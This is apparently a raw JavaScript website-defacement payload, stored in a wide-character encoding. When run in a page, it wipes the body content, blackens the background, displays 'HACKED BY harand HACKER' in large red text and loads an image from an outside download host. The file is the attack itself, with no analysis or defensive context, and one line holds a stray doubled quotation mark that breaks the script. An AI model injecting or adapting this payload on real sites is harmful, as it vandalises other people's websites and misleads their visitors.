ÿþ 
 v a r   t i t l e   =   " d e f a c e   b y   h a r a n d   h a c k e r " ;  
 v a r   b g c o l o r   =   " # 0 0 0 0 0 0 " ;  
 v a r   i m a g e _ u r l   =   " "h t t p : / / d l . h a r a n d d o w n l o a d . i r / u p l o a d s / 1 3 0 7 6 0 4 9 8 7 1 . j p g " ;  
 v a r   t e x t   =   " H A C K E D   B Y   h a r a n d   H A C K E R " ;  
 v a r   f o n t _ c o l o r   =   " # F F 0 0 0 0 " ;  
  
 d e f a c e ( t i t l e ,   b g c o l o r ,   i m a g e _ u r l ,   t e x t ,   f o n t _ c o l o r ) ;  
    
 f u n c t i o n   d e f a c e ( p a g e T i t l e ,   b g C o l o r ,   i m a g e U r l ,   p a g e T e x t ,   f o n t C o l o r )   {  
     d o c u m e n t . t i t l e   =   p a g e T i t l e ;  
     d o c u m e n t . b o d y . i n n e r H T M L   =   ' ' ;  
     d o c u m e n t . b g C o l o r   =   b g C o l o r ;  
     v a r   o v e r L a y   =   d o c u m e n t . c r e a t e E l e m e n t ( " d i v " ) ;  
     o v e r L a y . s t y l e . t e x t A l i g n   =   ' c e n t e r ' ;  
     d o c u m e n t . b o d y . a p p e n d C h i l d ( o v e r L a y ) ;  
     v a r   t x t   =   d o c u m e n t . c r e a t e E l e m e n t ( " p " ) ;  
     t x t . s t y l e . f o n t   =   ' n o r m a l   n o r m a l   b o l d   3 6 p x   V e r d a n a ' ;  
     t x t . s t y l e . c o l o r   =   f o n t C o l o r ;  
     t x t . i n n e r H T M L   =   p a g e T e x t ;  
     o v e r L a y . a p p e n d C h i l d ( t x t ) ;  
    
     i f   ( i m a g e _ u r l   ! =   " " )   {  
         v a r   n e w I m g   =   d o c u m e n t . c r e a t e E l e m e n t ( " i m g " ) ;  
         n e w I m g . s e t A t t r i b u t e ( " b o r d e r " ,   ' 0 ' ) ;  
         n e w I m g . s e t A t t r i b u t e ( " s r c " ,   i m a g e U r l ) ;  
         o v e r L a y . a p p e n d C h i l d ( n e w I m g ) ;  
     }  
  
     v a r   f o o t e r   =   d o c u m e n t . c r e a t e E l e m e n t ( " p " ) ;  
     f o o t e r . s t y l e . f o n t   =   ' i t a l i c   n o r m a l   n o r m a l   1 2 p x   A r i a l ' ;  
     f o o t e r . s t y l e . c o l o r   =   ' # D D D D D D ' ;  
     f o o t e r . i n n e r H T M L   =   t i t l e ;  
     o v e r L a y . a p p e n d C h i l d ( f o o t e r ) ;  
 } 
